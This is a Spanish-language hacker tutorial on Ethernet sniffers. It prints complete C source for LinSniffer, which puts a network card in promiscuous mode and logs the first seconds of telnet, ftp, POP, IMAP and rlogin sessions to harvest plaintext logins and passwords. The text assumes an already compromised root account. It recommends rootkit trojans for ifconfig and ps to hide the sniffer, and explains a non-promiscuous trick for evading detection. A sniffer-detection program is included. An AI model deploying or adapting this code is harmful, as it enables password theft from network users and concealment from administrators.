------------------------------------ * Sniffers * ------------------------------------ En este texto voy a intentar explicar lo que es un sniffer y como funciona, pero tampoco es gran cosa o sea que no espereis demasiado ;). Cuando me re- fiera a sniffer lo hare al de ethernet de toda la vida, los sniffers como el del icq, etc. son otra historia. 1.- Que es un sniffer? Un sniffer se podria resumir como un programa que lo que hace es capturar todos los datos que pasan a traves de una tarjeta de red. Para ello se basa en un defecto del protocolo ethernet (el que se usa normalmente en las redes locales). Este protocolo lo que hace es mandar la informacion a todos los ordenadores de la red, aunque no vaya dirigida a ellos, luego son los propios ordenadores los que basandose en la cabecera del paquete ethernet aceptan el paquete o no, segun vaya dirigido a ellos o no. Normalmente todas las redes tienen este defecto, aunque se puede evitar, por ejemplo hay algunos hubs con 'inteligencia' que en redes en estrella lo que hacen es examinar el encabezado de los paquetes ethernet para ver a que direccion van dirigidos, y mandar la informacion solo a ese ordenador. Pues como decia, el ethernet normalmente manda los paquetes de datos a todas las estaciones de la red, entonces lo que hace el sniffer es poner la tarjeta en modo promiscuo (promiscuous mode). El modo promiscuo significa que la tarjeta capturara todos los paquetes ethernet, aunque no vayan dirigidos a ella. 2.- Como trabaja un sniffer? Nos habiamos quedado en el modo promiscuo (hay que decir por cierto que algunas tarjetas no aceptan el modo promiscuo, evitando asi la instalacion de sniffers), bueno, pues una vez hecho esto lo que hace el sniffer es filtrar todos los pa- quetes ethernet. Si el sniffer almacenara todos los datos que pasan por la tar- jeta seria un lio impresionante, asi que lo que hace es examinar los paquetes y mirar las peticiones a unos determinados puertos, como por ejemplo el 23 del telnet, los mas comunes son el 21, el 23, el 110 y el 143. Luego toda la infor- macion que se transmite en esa conexion durante unos determinados segundos, por ejemplo 30, la almacena en un fichero de log. Al grabar los 30 primeros segun- dos grabara el login y el password, ya que van en texto plano, a no ser que se utilice algun sistema de encriptacion como kerberos, etc. Asi que si por ejemplo tu has hackeado una maquina B (tienes que haberla hackeado ya que necesitas ser root para colocar un sniffer), y una maquina C hace un telnet a una maquina A (estando todas en la misma red local), tu captu- raras el login y el password de la maquina A. Mola, no? :). 3.- Codigo fuente. Aqui pego el codigo de un sniffer para linux bastante practico. ---- cortar aqui ---- /* LinSniffer 0.03 [BETA] Mike Edulla medulla@infosoc.com */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include int openintf(char *); int read_tcp(int); int filter(void); int print_header(void); int print_data(int, char *); char *hostlookup(unsigned long int); void clear_victim(void); void cleanup(int); struct etherpacket { struct ethhdr eth; struct iphdr ip; struct tcphdr tcp; char buff[8192]; }ep; struct { unsigned long saddr; unsigned long daddr; unsigned short sport; unsigned short dport; int bytes_read; char active; time_t start_time; } victim; struct iphdr *ip; struct tcphdr *tcp; int s; FILE *fp; #define CAPTLEN 512 #define TIMEOUT 30 #define TCPLOG "tcp.log" int openintf(char *d) { int fd; struct ifreq ifr; int s; fd=socket(AF_INET, SOCK_PACKET, htons(0x800)); if(fd < 0) { perror("cant get SOCK_PACKET socket"); exit(0); } strcpy(ifr.ifr_name, d); s=ioctl(fd, SIOCGIFFLAGS, &ifr); if(s < 0) { close(fd); perror("cant get flags"); exit(0); } ifr.ifr_flags |= IFF_PROMISC; s=ioctl(fd, SIOCSIFFLAGS, &ifr); if(s < 0) perror("cant set promiscuous mode"); return fd; } int read_tcp(int s) { int x; while(1) { x=read(s, (struct etherpacket *)&ep, sizeof(ep)); if(x > 1) { if(filter()==0) continue; x=x-54; if(x < 1) continue; return x; } } } int filter(void) { int p; p=0; if(ip->protocol != 6) return 0; if(victim.active != 0) if(victim.bytes_read > CAPTLEN) { fprintf(fp, "\n----- [CAPLEN Exceeded]\n"); clear_victim(); return 0; } if(victim.active != 0) if(time(NULL) > (victim.start_time + TIMEOUT)) { fprintf(fp, "\n----- [Timed Out]\n"); clear_victim(); return 0; } if(ntohs(tcp->dest)==21) p=1; /* ftp */ if(ntohs(tcp->dest)==23) p=1; /* telnet */ if(ntohs(tcp->dest)==110) p=1; /* pop3 */ if(ntohs(tcp->dest)==109) p=1; /* pop2 */ if(ntohs(tcp->dest)==143) p=1; /* imap2 */ if(ntohs(tcp->dest)==513) p=1; /* rlogin */ if(ntohs(tcp->dest)==106) p=1; /* poppasswd */ if(victim.active == 0) if(p == 1) if(tcp->syn == 1) { victim.saddr=ip->saddr; victim.daddr=ip->daddr; victim.active=1; victim.sport=tcp->source; victim.dport=tcp->dest; victim.bytes_read=0; victim.start_time=time(NULL); print_header(); } if(tcp->dest != victim.dport) return 0; if(tcp->source != victim.sport) return 0; if(ip->saddr != victim.saddr) return 0; if(ip->daddr != victim.daddr) return 0; if(tcp->rst == 1) { victim.active=0; alarm(0); fprintf(fp, "\n----- [RST]\n"); clear_victim(); return 0; } if(tcp->fin == 1) { victim.active=0; alarm(0); fprintf(fp, "\n----- [FIN]\n"); clear_victim(); return 0; } return 1; } int print_header(void) { fprintf(fp, "\n"); fprintf(fp, "%s => ", hostlookup(ip->saddr)); fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest)); } int print_data(int datalen, char *data) { int i=0; int t=0; victim.bytes_read=victim.bytes_read+datalen; for(i=0;i != datalen;i++) { if(data[i] == 13) { fprintf(fp, "\n"); t=0; } if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;} if(t > 75) {t=0;fprintf(fp, "\n");} } } main(int argc, char **argv) { s=openintf("eth0"); ip=(struct iphdr *)(((unsigned long)&ep.ip)-2); tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2); signal(SIGHUP, SIG_IGN); signal(SIGINT, cleanup); signal(SIGTERM, cleanup); signal(SIGKILL, cleanup); signal(SIGQUIT, cleanup); if(argc == 2) fp=stdout; else fp=fopen(TCPLOG, "at"); if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);} clear_victim(); for(;;) { read_tcp(s); if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2); fflush(fp); } } char *hostlookup(unsigned long int in) { static char blah[1024]; struct in_addr i; struct hostent *he; i.s_addr=in; he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET); if(he == NULL) strcpy(blah, inet_ntoa(i)); else strcpy(blah, he->h_name); return blah; } void clear_victim(void) { victim.saddr=0; victim.daddr=0; victim.sport=0; victim.dport=0; victim.active=0; victim.bytes_read=0; victim.start_time=0; } void cleanup(int sig) { fprintf(fp, "Exiting...\n"); close(s); fclose(fp); exit(0); } ---- cortar aqui ---- Ahora mismo esta configurado para guardar los logs en el fichero tcp.log, en el mismo directorio en el que este el sniffer, y capturara los primeros 30 segundos de los puertos 21 (ftp), 23 (telnet), 109 (pop2), 110 (pop3), 143 (imap), 513 (rlogin) y 106 (poppasswd). Los parametros los puedes modificar como quieras para logear otros puertos, mas segundos, etc.. Al ejecutarlo tienes que poner el &, a modo de ./snif &, para que quede corriendo en segundo plano. 4.- Como ocultar su presencia. Si pones un sniffer y no tomas varias precauciones poco durara en el sistema. Para empezar, si el administrador o cualquiera usa el comando ifconfig vera que la tarjeta esta en modo promiscuo, lo cual puede mosquearle :). Con el comando ifconfig -a y un sniffer instalado se veria algo como: eth0 Link encap:Ethernet HWaddr 00:00:1C:04:11:C6 inet addr:10.10.10.1 Bcast:255.255.255.255 Mask:255.255.255.0 UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 TX packets:0 errors:0 dropped:0 overruns:0 Interrupt:11 Base address:0x6800 Para evitarlo puedes instalar un troyano del ifconfig, que encontraras en mu- chos rootkits, y que lo que hacen es ocultar el modo promiscuo. Tambien, como cualquier otro programa ejecutado en segundo plano, dejara su huella al hacer un ps para ver los procesos. La solucion a esto es la misma que con el ifconfig, instalar otro troyano (esta vez para el ps), que seguramente encontraras en el mismo rootkit que el anterior ;). Sino te apetece andar bus- cando rootkits por ahi tienes los dos en http://www.rootshell.com/, busca por "linux rootkit" o "lrk". Aun asi despues de haber instalado los troyanos es posible detectar el sniffer, usando un programa que acceda directamente a la tarjeta y mire si el flag promisc esta activado. Un programa como este ;) : ---- cortar aqui ----- #include #include #include #include #if defined (__linux__) #include #else #include #endif #define size(p) (sizeof(p)) int dev_flags=0, device_flags=0, set_look_all=0; int main(int argc, char **argv) { struct ifreq ifreq, *ifr; struct ifconf ifc; char buf[BUFSIZ], *cp, *cplim; if(argc <= 1) set_look_all++; if((dev_flags = socket(PF_INET, SOCK_DGRAM, 0)) < 0) { fprintf(stderr, "An error occured establiashing while establishing a socket\n"); perror("socket"); exit(1); } ifc.ifc_len = sizeof(buf); ifc.ifc_buf = buf; if(ioctl(dev_flags, SIOCGIFCONF, (char *)&ifc) < 0) { perror("SIOCGIFCONF"); exit(1); } ifr = ifc.ifc_req; cplim=buf+ifc.ifc_len; for(cp = buf; cp < cplim; cp += sizeof (ifr->ifr_name) + size(ifr->ifr_addr)) { ifr = (struct ifreq *)cp; if(argv[1]) if(strcmp(ifr->ifr_name, argv[1]) && !set_look_all) continue; ifreq = *ifr; if(ioctl(dev_flags, SIOCGIFFLAGS, (char *)&ifreq) < 0) { fprintf(stderr, "SIOCGIFFLAGS: %s (get interface flags): %s\n", ifr->ifr_name,strerror(errno)); continue; } device_flags=0; device_flags = ifreq.ifr_flags; fprintf(stdout, "%s: ", ifreq.ifr_name); if((device_flags & IFF_PROMISC) != 0) fprintf(stdout, "Promiscuous: Sniffer detected.\n"); else fprintf(stdout, "Not-Promiscous: No Sniffers detected.\n"); if(!set_look_all) exit(0); else continue; } if(!set_look_all) fprintf(stdout, "%s: Unknown device.\n", argv[1]); } ---- cortar aqui ---- 5.- Instalar un sniffer en modo no promiscuo. Aunque suene raro instalar un sniffer en modo no promiscuo si que tiene utili- dad (al menos para mi). La principal ventaja es que es casi imposible que lo detecten, ya que al estar la tarjeta sin el flag promisc aunque pasen un sca- nners de sniffers no lo detectaran, y ademas te ahorras de meter un troyano para el ifconfig y demas preocupaciones. Por el contrario solo capturaras los paquetes ethernet que vayan dirigidos a ese ordenador, asi que no podras pillar passwords de otros ordenadores directamente. Pero aunque en principio no puedas capturar passwords de otros ordenadores al final acabas pillando alguno. Me explico.. el sniffer logeara las sesiones que se hagan al propio ordenador des- de cualquier lugar de la red, por ejemplo, una conexion telnet. Para empezar ya grabaras todos los logins y passwords de los usuarios que hagan un telnet ( incluido el root), y luego capturara los primeros 30 segundos del telnet, y es muy raro que en esos 30 segundos algun usuario no haga un telnet o un ftp a otra maquina (no tiene pq estar en la misma red local) quedando el login y el password de la maquina remota en el log. Si vas a hacer esto lo mejor es que configures el sniffer para que solo logee el puerto 23 (de telnet) y que capture los primeros 60 segundos o asi, para que tengas mas posibilidades de que alguien haga una conexion a otra maquina. Para instalar el sniffer en modo no promiscuo lo que tienes que hacer ejecutar el sniffer, quedando corriendo en segundo plano y con la tarjeta con el flag promisc activado. Luego para quitar el promisc puedes seguir dos caminos, o quitarlo tu directamente con el ifconfig (esto funciona en linux, en otros ni idea), siendo la orden algo como: "ifconfig eth0 -promisc". O utilizar este programa que aparecio en el numero 53 del ezine phrack y que hace exactamente lo mismo. ---- cortar aqui ---- /* * This is really dumb program. * Works on Linux, FreeBSD and Irix. */ #include #include #include #include #include #include #include #include #include int main(int argc, char *argv[]) { int sd; struct ifreq ifr; char *interface; int promisc; if (argc != 3) { printf("usage: %s interface 0|1\n", argv[0]); exit(1); } interface = argv[1]; promisc = atoi(argv[2]); if ((sd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) { perror("socket"); exit(1); } strncpy(ifr.ifr_name, interface, IFNAMSIZ); if (ioctl(sd, SIOCGIFFLAGS, &ifr) == -1) { perror("SIOCGIFFLAGS"); exit(1); } printf("flags = 0x%x\n", (u_short)ifr.ifr_flags); if (promisc) ifr.ifr_flags |= IFF_PROMISC; else ifr.ifr_flags &= ~IFF_PROMISC; if (ioctl(sd, SIOCSIFFLAGS, &ifr) == -1) { perror("SIOCSIFFLAGS"); exit(1); } close(sd); } ---- cortar aqui ----- Despues el sniffer quedara corriendo normalmente pero sin modo promiscuo. 6.- Despedida. Vaya, siento que este articulo haya sido tan corto, espero que para otra vez sea mas largo ;). Venga, un saludo a sp4rk, shyba, asturcon, ulan, dark y a toda la peņa en general. Hasta otra. RaiSe raise@biogate.com